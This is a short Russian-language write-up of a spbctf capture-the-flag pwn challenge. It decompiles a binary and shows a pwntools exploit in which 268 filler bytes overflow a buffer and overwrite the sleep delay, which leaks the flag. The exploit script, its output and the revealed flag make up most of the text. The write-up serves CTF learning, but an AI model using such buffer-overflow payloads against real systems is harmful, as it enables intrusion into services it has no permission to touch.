Вы получите флаг через 1024 секунды, осталось чуть-чуть подождать.
nc 109.233.56.90 11576
Solution
Судя по тексту задания нам нужно изменить задержку. Либо попытаться дождаться флага. Попробую оба варианта:
cu63:Sleep/ $ nc 109.233.56.90 11576
Enter your name: just wait
Hello just wait
! You will get your flag in 1024 seconds
Alarm clock
К сожалению меня выкинуло. Буду реверсить.
Анализ main
int32_t main(int32_t argc, char** argv, char** envp)
{
alarm(5);
uint32_t seconds = 0x400;
printf("Enter your name: ");
char buf[0x10c];
read(0, &buf, 0x400);
printf("Hello %s! You will get your flag in %d seconds\n", &buf, (uint64_t)seconds);
sleep(seconds);
system("cat /flag");
return 0;
}
Мы вводим имя в buf. Максимальная длина буфера 268, а программа читает 1024. Нужно переписать seconds.
Создам шаблон:
pwn template task --host 109.233.56.90 --port 11576 > exploit.py
Exploit
payload = b'q' * 268 + p32(0)
io.sendline(payload)
flag = io.recvline()
log.success(flag)
Проверю локально:
root@345317d3929f:/rev# python3 exploit.py LOCAL
[+] Starting local process '/rev/task': pid 27
[+] Enter your name: Hello qqq...qqq! You will get your flag in 0 seconds
[*] Switching to interactive mode
cat: /flag: No such file or directory
Команда выполнилась. Получу флаг на удалённом:
root@345317d3929f:/rev# python3 exploit.py
[+] Opening connection to 109.233.56.90 on port 11576: Done
[+] Enter your name: Hello qqq...qqq! You will get your flag in 0 seconds
[*] Switching to interactive mode
spbctf{beep_boop_overflow_int_variable}
spbctf{beep_boop_overflow_int_variable}